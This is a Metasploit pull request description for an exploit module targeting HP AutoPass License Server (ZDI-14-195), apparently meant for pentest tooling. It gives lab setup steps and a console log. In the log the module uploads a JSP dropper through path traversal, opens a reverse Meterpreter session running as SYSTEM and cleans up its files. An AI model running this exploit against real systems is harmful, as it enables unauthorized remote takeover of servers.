rapid7/metasploit-framework — pull request #3471 by jvazquez-r7 (2014-06-23 14:21:30+00:00)
Title: Add module for ZDI-14-195, HP AutoPass License Traversal

Verification
------------

* Download HP Service Virtualization 3.50. Trial can be downloaded here: http://www8.hp.com/us/en/software-solutions/service-virtualization/try-now.html
* Install Win2003 SP2 (or any other supported Windows system)
* Start HP Service Virtualization 3.50 installation and select "Install HP AutoPass License Server."
* Run the module like in the demo, hopefully enjoy session
(otherwise maybe the default datastore traversal depth options could need tweaking, it should be true
if the installation has been done with paths which aren't the default)

```
msf > use exploit/windows/http/hp_autopass_license_traversal
msf exploit(hp_autopass_license_traversal) > back
msf > use exploit/windows/http/hp_autopass_license_traversal
msf exploit(hp_autopass_license_traversal) > set rhost 172.16.158.187
rhost => 172.16.158.187
msf exploit(hp_autopass_license_traversal) > check
[*] 172.16.158.187:5814 - The target service is running, but could not be validated.
msf exploit(hp_autopass_license_traversal) > rexploit
[*] Reloading module...

[*] Started reverse handler on 172.16.158.1:4444
[*] 172.16.158.187:5814 - Uploading the JSP dropper vjrwKWdT.jsp...
[*] 172.16.158.187:5814 - Attempting to launch payload in deployed WAR...
[*] Sending stage (30355 bytes) to 172.16.158.187
[*] Meterpreter session 1 opened (172.16.158.1:4444 -> 172.16.158.187:1032) at 2014-06-23 09:19:02 -0500
[+] Deleted ../webapps/autopass/scripts/vjrwKWdT.jsp
[+] Deleted ../webapps/YqalnqelwYkXvbIPT5Qiut1ppeKLX.war

meterpreter > getuid
Server username: SYSTEM
meterpreter > sysinfo
eComputer : juan-6ed9db6ca8
OS : Windows 2003 5.2 (x86)
Meterpreter : java/java
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 172.16.158.187 - Meterpreter session 1 closed. Reason: User exit
```